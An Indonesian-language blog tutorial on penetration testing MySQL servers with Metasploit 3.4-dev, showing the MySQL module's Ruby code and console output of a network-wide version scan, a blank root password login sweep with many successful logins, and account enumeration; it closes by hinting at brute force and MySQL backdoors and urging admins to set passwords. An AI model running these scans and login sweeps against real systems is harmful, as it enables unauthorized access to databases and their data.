The truth of a theory is in your mind, not in your eyes.

MySQL Penetrations

--[1]-- Introductions

MySQL adalah satu Database Aplikasi yang sangat populer dikalangan dunia open source. Ketangguhan dan kemudahan administrasi membuat MySQL jadi pilihan banyak developer, tapi seperti halnya dengan beberapa aplikasi populer lainnya, MySQL juga banyak diminati oleh para hacker (tentu sebagai target untuk mendapatkan akses ke dalam system) untuk diuji ketangguhan keamanannya.

Nah, kali ini saya ingin memperlihatkan cara melakukan penetrasi testing terhadap MySQL service dengan menggunakan Metasploit Framework 3.4-dev diatas mesin backtrack 4. Percobaan penetrasi ini untuk keperluan pengujian terhadap penerapan MySQL Security policy dalam lingkup internal network.

Dalam percobaan saya menggunakan module mysql_version, mysql_sql dan mysql_login, module-module yang sudahterintegrasi dalam Update terakhir Framework 3.4-dev ( revisi 9111).

--[2]-- Expl0its

Berikut code exploit yang akan digunakan:

--msf code for mysql--

 require 'msf/core'
 require 'rbmysql'
 
 module Msf
 module Exploit::Remote::MYSQL
 
 	include Exploit::Remote::Tcp
 
 	def initialize(info = {})
 		super
 
 		register_options(
 			[
 				Opt::RHOST,
 				Opt::RPORT(3306),
				OptString.new('MYSQL_USER', [ true, 'The username to authenticate as', 'root']),
 				OptString.new('MYSQL_PASS', [ false, 'The password for the specified username', '']),
 			], Msf::Exploit::Remote::MYSQL
 		)
 	end
 
 	def mysql_login(user='root', pass='', db=nil)
 		disconnect if self.sock
 		connect
 
 		@mysql_handle = ::RbMysql.connect({
 			:host     => rhost,
 			:port     => rport,
 			:socket   => sock,
 			:user     => user,
 			:password => pass,
			:db       => db
 		})
 	end
 
 	def mysql_logoff
 		@mysql_handle = nil if @mysql_handle
 		disconnect if self.sock
 	end
 
 	def mysql_login_datastore
 		mysql_login(datastore['MYSQL_USER'], datastore['MYSQL_PASS'])
 	end
 
 	def mysql_query(sql)
 		res = nil
 		begin
 			res = @mysql_handle.query(sql)
 		rescue ::RbMysql::Error => e
 			print_error("MySQL Error: #{e.class} #{e.to_s}")
 			return
 		end
 
 		res
 	end
 
 end
 end

Bagi anda yang sudah punya jurus kungFu ruby, tentu dengan mudah akan memahami exPloit diatas. Bagi yang belum memahami, silahakan cari tahu sendiri :P.
   
--[3]-- Proof of Concept

First step, Lakukan scaning terhadap seluruh Host yang ada dalam jaringan. Dalam step ini, anda akan mendapatkan informasi siapa-siapa dalam network anda yang menggunakan MySQL server lengkap dengan versi dari MySQL itu sendiri. Now, open your msfconsole and run as below:

< metasploit >
 ------------
       \   ,__,
        \  (oo)____
           (__)    )\
              ||--|| *


       =[ metasploit v3.4.0-dev [core:3.4 api:1.0]
+ -- --=[ 542 exploits - 257 auxiliary
+ -- --=[ 208 payloads - 23 encoders - 8 nops
       =[ svn r9111 updated today (2010.04.20)

msf > use auxiliary/scanner/mysql/mysql_version
msf auxiliary(mysql_version) > show options

Module options:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target address range or CIDR identifier
   RPORT    3306             yes       The target port
   THREADS  1                yes       The number of concurrent threads

msf auxiliary(mysql_version) > set RHOSTS 172.16.0.0/23
RHOSTS => 172.16.0.0/23
msf auxiliary(mysql_version) > set THREADS 20
THREADS => 20
msf auxiliary(mysql_version) > show options

Module options:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS   172.16.0.0/23    yes       The target address range or CIDR identifier
   RPORT    3306             yes       The target port
   THREADS  20               yes       The number of concurrent threads

msf auxiliary(mysql_version) > run

[*] 172.16.0.5:3306 is running MySQL 5.0.77-log (protocol 10)
[*] 172.16.0.8:3306 is running MySQL 5.0.77-log (protocol 10)
[*] 172.16.0.9:3306 is running MySQL 5.0.77-log (protocol 10)
[*] 172.16.0.6:3306 is running MySQL 5.0.77 (protocol 10)
[*] 172.16.0.34:3306 is running MySQL, but responds with an error: \x04Host '172.16.0.31' is not allowed to connect to this MySQL server
[*] Scanned 057 of 512 hosts (011% complete)
[*] 172.16.0.78:3306 is running MySQL, but responds with an error: \x04Host '172.16.0.31' is not allowed to connect to this MySQL server
[*] 172.16.0.82:3306 is running MySQL 5.0.45-community-nt (protocol 10)
[*] 172.16.0.71:3306 is running MySQL 5.0.45-community-nt (protocol 10)
[*] 172.16.0.84:3306 is running MySQL 5.0.45-community-nt (protocol 10)
[*] 172.16.0.80:3306 is running MySQL 5.0.45-community-nt (protocol 10)
[*] 172.16.0.97:3306 is running MySQL 5.0.45-community-nt (protocol 10)
[*] 172.16.0.95:3306 is running MySQL 5.0.45-community-nt (protocol 10)
[*] Scanned 108 of 512 hosts (021% complete)
[*] 172.16.0.125:3306 is running MySQL 5.0.67-log (protocol 10)
[-] Error: Connection reset by peer
[*] 172.16.0.116:3306 is running MySQL 5.0.45-community-nt (protocol 10)
[*] 172.16.0.120:3306 is running MySQL, but responds with an error: \x04Host '172.16.0.31' is not allowed to connect to this MySQL server
[*] 172.16.0.119:3306 is running MySQL 5.1.30-community (protocol 10)
[*] 172.16.0.155:3306 is running MySQL 5.1.37-1ubuntu5-log (protocol 10)
[*] 172.16.0.143:3306 is running MySQL 5.0.45-community-nt (protocol 10)
[*] 172.16.0.132:3306 is running MySQL 5.0.51b-community-nt (protocol 10)
[*] Scanned 159 of 512 hosts (031% complete)
[*] Scanned 205 of 512 hosts (040% complete)
[*] Scanned 257 of 512 hosts (050% complete)
[*] Scanned 312 of 512 hosts (060% complete)
[*] 172.16.1.101:3306 is running MySQL, but responds with an error: \x04Host '172.16.0.31' is not allowed to connect to this MySQL server
[*] 172.16.1.93:3306 is running MySQL 5.0.67 (protocol 10)
[*] Scanned 368 of 512 hosts (071% complete)
[*] Scanned 412 of 512 hosts (080% complete)
[*] 172.16.1.177:3306 is running MySQL 5.0.77-log (protocol 10)
[*] 172.16.1.200:3306 is running MySQL, but responds with an error: \x04Host '172.16.0.31' is not allowed to connect to this MySQL server
[*] Scanned 461 of 512 hosts (090% complete)
[*] Scanned 512 of 512 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(mysql_version) >

setelah mendapatkan hasil scanning, sekarang kita akan mencoba melakukan penetrasi ke dalam MySQL Server. Seperti yang kita ketahui bersama, by default pada installasi MySQL, password root selalu blank, dan berita buruknya (atau baik?) bahwa sangat sedikit para developer bahkan sysadmin melakukan atau mengeset password root untuk mysql ini. Jadi mari kita coba bukti kebenarannya::

msf auxiliary(mysql_version) > use auxiliary/scanner/mysql/mysql_login
msf auxiliary(mysql_login) > show options

Module options:

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BLANK_PASSWORDS   true             yes       Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   PASSWORD                           no        A specific password to authenticate with
   PASS_FILE                          no        File containing passwords, one per line
   RHOSTS                             yes       The target address range or CIDR identifier
   RPORT             3306             yes       The target port
   THREADS           1                yes       The number of concurrent threads
   USERNAME                           no        A specific username to authenticate as
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           true             yes       Whether to print output for all attempts

msf auxiliary(mysql_login) > set username root
username => root
msf auxiliary(mysql_login) > set RHOSTS 172.16.0.0/23
RHOSTS => 172.16.0.0/23
msf auxiliary(mysql_login) > show options

Module options:

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BLANK_PASSWORDS   true             yes       Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   PASSWORD                           no        A specific password to authenticate with
   PASS_FILE                          no        File containing passwords, one per line
   RHOSTS            172.16.0.0/23    yes       The target address range or CIDR identifier
   RPORT             3306             yes       The target port
   THREADS           1                yes       The number of concurrent threads
   USERNAME          root             no        A specific username to authenticate as
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           true             yes       Whether to print output for all attempts

msf auxiliary(mysql_login) > set THREADS 20
THREADS => 20
msf auxiliary(mysql_login) > run

[*] 172.16.0.5:3306 - Found remote MySQL version 5.0.77
[*] 172.16.0.5:3306 Trying username:'root' with password:''
[*] 172.16.0.6:3306 - Found remote MySQL version 5.0.77
[*] 172.16.0.6:3306 Trying username:'root' with password:''
[*] 172.16.0.8:3306 - Found remote MySQL version 5.0.77
[*] 172.16.0.9:3306 - Found remote MySQL version 5.0.77
[*] 172.16.0.9:3306 Trying username:'root' with password:''
[*] 172.16.0.8:3306 Trying username:'root' with password:''
[*] 172.16.0.5:3306 failed to login as 'root' with password ''
[+] 172.16.0.9:3306 - SUCCESSFUL LOGIN 'root' : ''
[*] 172.16.0.6:3306 failed to login as 'root' with password ''
[*] 172.16.0.8:3306 failed to login as 'root' with password ''
[*] Scanned 062 of 512 hosts (012% complete)
[*] 172.16.0.71:3306 - Found remote MySQL version 5.0.45
[*] 172.16.0.71:3306 Trying username:'root' with password:''
[*] 172.16.0.80:3306 - Found remote MySQL version 5.0.45
[*] 172.16.0.80:3306 Trying username:'root' with password:''
[*] 172.16.0.82:3306 - Found remote MySQL version 5.0.45
[*] 172.16.0.82:3306 Trying username:'root' with password:''
[*] 172.16.0.84:3306 - Found remote MySQL version 5.0.45
[*] 172.16.0.84:3306 Trying username:'root' with password:''
[*] 172.16.0.71:3306 failed to login as 'root' with password ''
[+] 172.16.0.80:3306 - SUCCESSFUL LOGIN 'root' : ''
[+] 172.16.0.82:3306 - SUCCESSFUL LOGIN 'root' : ''
[+] 172.16.0.84:3306 - SUCCESSFUL LOGIN 'root' : ''
[*] 172.16.0.95:3306 - Found remote MySQL version 5.0.45
[*] 172.16.0.95:3306 Trying username:'root' with password:''
[*] 172.16.0.97:3306 - Found remote MySQL version 5.0.45
[*] 172.16.0.97:3306 Trying username:'root' with password:''
[+] 172.16.0.97:3306 - SUCCESSFUL LOGIN 'root' : ''
[+] 172.16.0.95:3306 - SUCCESSFUL LOGIN 'root' : ''
[*] Scanned 108 of 512 hosts (021% complete)
[*] 172.16.0.125:3306 - Found remote MySQL version 5.0.67
[*] 172.16.0.125:3306 Trying username:'root' with password:''
[*] 172.16.0.125:3306 failed to login as 'root' with password ''
[-] 172.16.0.123:3306 error checking version Errno::ECONNRESET Connection reset by peer
[*] 172.16.0.116:3306 - Found remote MySQL version 5.0.45
[*] 172.16.0.116:3306 Trying username:'root' with password:''
[*] 172.16.0.119:3306 - Found remote MySQL version 5.1.30
[*] 172.16.0.119:3306 Trying username:'root' with password:''
[*] 172.16.0.132:3306 - Found remote MySQL version 5.0.51b
[*] 172.16.0.132:3306 Trying username:'root' with password:''
[+] 172.16.0.116:3306 - SUCCESSFUL LOGIN 'root' : ''
[*] 172.16.0.143:3306 - Found remote MySQL version 5.0.45
[*] 172.16.0.143:3306 Trying username:'root' with password:''
[+] 172.16.0.119:3306 - SUCCESSFUL LOGIN 'root' : ''
[*] 172.16.0.155:3306 - Found remote MySQL version 5.1.37
[*] 172.16.0.155:3306 Trying username:'root' with password:''
[*] 172.16.0.155:3306 failed to login as 'root' with password ''
[*] 172.16.0.132:3306 failed to login as 'root' with password ''
[+] 172.16.0.143:3306 - SUCCESSFUL LOGIN 'root' : ''
[*] Scanned 154 of 512 hosts (030% complete)
[*] Scanned 210 of 512 hosts (041% complete)
[*] Scanned 257 of 512 hosts (050% complete)
[*] Scanned 308 of 512 hosts (060% complete)
[*] 172.16.1.93:3306 - Found remote MySQL version 5.0.67
[*] 172.16.1.93:3306 Trying username:'root' with password:''
[*] 172.16.1.93:3306 failed to login as 'root' with password ''
[*] Scanned 360 of 512 hosts (070% complete)
[*] Scanned 410 of 512 hosts (080% complete)
[*] 172.16.1.177:3306 - Found remote MySQL version 5.0.77
[*] 172.16.1.177:3306 Trying username:'root' with password:''
[*] 172.16.1.177:3306 failed to login as 'root' with password ''
[*] Scanned 466 of 512 hosts (091% complete)
[*] Scanned 512 of 512 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(mysql_login) >

Hummm, info yang cukup menarik bukan? akan lebih menarik lagi kalau kita memanfaatkannya untuk mendapatkan informasi mengenai user yang ada pada host tersebut dengan memanfaatkan module mysql_enum. Okey, lets play again:

msf auxiliary(mysql_sql) > use auxiliary/admin/mysql/mysql_enum
msf auxiliary(mysql_enum) > show options

Module options:

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD                   no        The password for the specified username
   RHOST                      yes       The target address
   RPORT     3306             yes       The target port
   USERNAME                   no        The username to authenticate as

msf auxiliary(mysql_enum) > set RHOST 172.16.0.9
RHOST => 172.16.0.9
msf auxiliary(mysql_enum) > set USERNAME root
USERNAME => root
msf auxiliary(mysql_enum) > run

[*] Running MySQL Enumerator...
[*] Enumerating Parameters
[*]     MySQL Version: 5.0.77-log
[*]     Compiled for the following OS: portbld-freebsd7.2
[*]     Architecture: amd64
[*]     Server Hostname: blankcode.com
[*]     Data Directory: /usr/database/
[*]     Logging of queries and logins: OFF
[*]     Old Password Hashing Algorithm ON
[*]     Loading of local files: ON
[*]     Logins with old Pre-4.1 Passwords: OFF
[*]     Allow Use of symlinks for Database Files: YES
[*]     Allow Table Merge: YES
[*]     SSL Connection: NO
[*] Enumerating Accounts:
[*]     List of Accounts with Password Hashes:
[*]             User: root Host: localhost Password Hash:
[*]             User: root Host: java.blankcode.com Password Hash:
[*]             User: root Host: 127.0.0.1 Password Hash:
...
CENSORED
...
[*] Auxiliary module execution completed
msf auxiliary(mysql_enum) >

Game over!

Okey, saya akhiri dulu permainan-nya sampai disini. Hal yang paling penting yang bisa dipelajari dari percobaan penetration testing pada MySQL diatas adalah, bagi penetration tester (whitehat?), pola serangan diatas itu bisa di kombinasi dengan serangan-serangan lain seperti brute force ataupun memasang mysql backdoor untuk tindak lebih lanjutnya, silahkan dipertajam ide dan logika serangannya (karena saya tidak mau memaparkan semuanya disini). Bagi developer maupun system administration, hal kecil yang bisa berdampak sangat besar seperti diatas harus lah mendapat sedikit perhatian, karena perlu diingat bahwa para instruder terkadang lebih menginginkan informasi atau data daripada sekedar akses. Protect User MySQL anda sebelum hal tersebut dilakukan oleh orang lain (hacker?).

Ciao,

jackd of Kecoak Elektronik,

Your rating: None Average: 1.1 (58 votes)